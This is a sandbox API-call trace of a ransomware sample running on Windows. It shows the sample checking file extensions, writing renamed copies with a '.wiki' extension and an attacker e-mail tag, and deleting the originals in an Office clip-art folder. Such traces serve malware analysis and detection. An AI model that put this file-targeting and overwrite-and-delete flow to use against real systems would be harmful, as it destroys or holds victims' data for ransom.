[0185.605] CloseHandle (hObject=0x1c8) returned 1 [0185.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0185.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.605] lstrlenW (lpString=".doc") returned 4 [0185.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.605] lstrlenW (lpString=".docx") returned 5 [0185.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.605] lstrlenW (lpString=".pdf") returned 4 [0185.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.605] lstrlenW (lpString=".xls") returned 4 [0185.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.605] lstrlenW (lpString=".xlsx") returned 5 [0185.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.606] lstrlenW (lpString=".ppt") returned 4 [0185.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.606] lstrlenW (lpString=".zip") returned 4 [0185.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.606] lstrlenW (lpString=".rar") returned 4 [0185.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.606] lstrlenW (lpString=".bz2") returned 4 [0185.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.606] lstrlenW (lpString=".7z") returned 3 [0185.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.606] lstrlenW (lpString=".dbf") returned 4 [0185.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.606] lstrlenW (lpString=".1cd") returned 4 [0185.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.606] lstrlenW (lpString=".jpg") returned 4 [0185.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.606] lstrlenW (lpString=".doc") returned 4 [0185.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.607] lstrlenW (lpString=".docx") returned 5 [0185.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.607] lstrlenW (lpString=".pdf") returned 4 [0185.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.607] lstrlenW (lpString=".xls") returned 4 [0185.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.607] lstrlenW (lpString=".xlsx") returned 5 [0185.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.607] lstrlenW (lpString=".ppt") returned 4 [0185.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.607] lstrlenW (lpString=".zip") returned 4 [0185.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.607] lstrlenW (lpString=".rar") returned 4 [0185.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.607] lstrlenW (lpString=".bz2") returned 4 [0185.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.607] lstrlenW (lpString=".7z") returned 3 [0185.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.607] lstrlenW (lpString=".dbf") returned 4 [0185.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.607] lstrlenW (lpString=".1cd") returned 4 [0185.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0185.607] lstrlenW (lpString=".jpg") returned 4 [0185.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.607] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.608] lstrlenW (lpString="BL00526_.WMF") returned 12 [0185.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0185.608] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=27552) returned 1 [0185.608] CloseHandle (hObject=0x1c8) returned 1 [0185.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0185.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0185.608] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.608] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0185.609] GetLastError () returned 0x0 [0185.609] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0185.625] WriteFile (in: hFile=0x1ec, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0185.626] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.626] WriteFile (in: hFile=0x1ec, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.626] SetEndOfFile (hFile=0x1ec) returned 1 [0185.626] CloseHandle (hObject=0x1ec) returned 1 [0185.627] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.627] SetEndOfFile (hFile=0x1c8) returned 1 [0185.627] CloseHandle (hObject=0x1c8) returned 1 [0185.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.628] lstrlenW (lpString=".doc") returned 4 [0185.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.628] lstrlenW (lpString=".docx") returned 5 [0185.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.628] lstrlenW (lpString=".pdf") returned 4 [0185.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.628] lstrlenW (lpString=".xls") returned 4 [0185.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.628] lstrlenW (lpString=".xlsx") returned 5 [0185.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.628] lstrlenW (lpString=".ppt") returned 4 [0185.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.628] lstrlenW (lpString=".zip") returned 4 [0185.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.628] lstrlenW (lpString=".rar") returned 4 [0185.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.628] lstrlenW (lpString=".bz2") returned 4 [0185.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.628] lstrlenW (lpString=".7z") returned 3 [0185.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.629] lstrlenW (lpString=".dbf") returned 4 [0185.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.629] lstrlenW (lpString=".1cd") returned 4 [0185.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.629] lstrlenW (lpString=".jpg") returned 4 [0185.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.629] lstrlenW (lpString=".doc") returned 4 [0185.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.629] lstrlenW (lpString=".docx") returned 5 [0185.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.629] lstrlenW (lpString=".pdf") returned 4 [0185.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.629] lstrlenW (lpString=".xls") returned 4 [0185.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.629] lstrlenW (lpString=".xlsx") returned 5 [0185.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.629] lstrlenW (lpString=".ppt") returned 4 [0185.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.629] lstrlenW (lpString=".zip") returned 4 [0185.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.629] lstrlenW (lpString=".rar") returned 4 [0185.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.629] lstrlenW (lpString=".bz2") returned 4 [0185.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString=".7z") returned 3 [0185.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.630] lstrlenW (lpString=".dbf") returned 4 [0185.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.630] lstrlenW (lpString=".1cd") returned 4 [0185.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0185.630] lstrlenW (lpString=".jpg") returned 4 [0185.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.630] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.630] lstrlenW (lpString="BL00923_.WMF") returned 12 [0185.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0185.630] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6256) returned 1 [0185.630] CloseHandle (hObject=0x1c8) returned 1 [0185.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0185.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0185.631] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.631] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0185.631] GetLastError () returned 0x0 [0185.631] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1870, lpOverlapped=0x0) returned 1 [0185.650] WriteFile (in: hFile=0x1ec, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1880, lpOverlapped=0x0) returned 1 [0185.651] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x1ec, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.651] SetEndOfFile (hFile=0x1ec) returned 1 [0185.651] CloseHandle (hObject=0x1ec) returned 1 [0185.651] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.651] SetEndOfFile (hFile=0x1c8) returned 1 [0185.652] CloseHandle (hObject=0x1c8) returned 1 [0185.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0185.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.652] lstrlenW (lpString=".doc") returned 4 [0185.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.652] lstrlenW (lpString=".docx") returned 5 [0185.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.652] lstrlenW (lpString=".pdf") returned 4 [0185.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.653] lstrlenW (lpString=".xls") returned 4 [0185.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.653] lstrlenW (lpString=".xlsx") returned 5 [0185.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.653] lstrlenW (lpString=".ppt") returned 4 [0185.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.653] lstrlenW (lpString=".zip") returned 4 [0185.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.653] lstrlenW (lpString=".rar") returned 4 [0185.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.653] lstrlenW (lpString=".bz2") returned 4 [0185.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.653] lstrlenW (lpString=".7z") returned 3 [0185.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.653] lstrlenW (lpString=".dbf") returned 4 [0185.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.653] lstrlenW (lpString=".1cd") returned 4 [0185.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.653] lstrlenW (lpString=".jpg") returned 4 [0185.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.653] lstrlenW (lpString=".doc") returned 4 [0185.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.654] lstrlenW (lpString=".docx") returned 5 [0185.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.654] lstrlenW (lpString=".pdf") returned 4 [0185.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.654] lstrlenW (lpString=".xls") returned 4 [0185.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.654] lstrlenW (lpString=".xlsx") returned 5 [0185.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.654] lstrlenW (lpString=".ppt") returned 4 [0185.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.654] lstrlenW (lpString=".zip") returned 4 [0185.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.654] lstrlenW (lpString=".rar") returned 4 [0185.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.654] lstrlenW (lpString=".bz2") returned 4 [0185.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.654] lstrlenW (lpString=".7z") returned 3 [0185.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.654] lstrlenW (lpString=".dbf") returned 4 [0185.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.654] lstrlenW (lpString=".1cd") returned 4 [0185.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0185.654] lstrlenW (lpString=".jpg") returned 4 [0185.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.654] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.655] lstrlenW (lpString="BOAT.WMF") returned 8 [0185.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0185.655] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3350) returned 1 [0185.655] CloseHandle (hObject=0x1c8) returned 1 [0185.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0185.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0185.655] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.655] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0185.882] GetLastError () returned 0x0 [0185.882] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xd16, lpOverlapped=0x0) returned 1 [0186.025] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0186.026] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.026] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0186.026] SetEndOfFile (hFile=0x1fc) returned 1 [0186.026] CloseHandle (hObject=0x1fc) returned 1 [0186.026] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.026] SetEndOfFile (hFile=0x1c8) returned 1 [0186.027] CloseHandle (hObject=0x1c8) returned 1 [0186.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0186.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0186.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 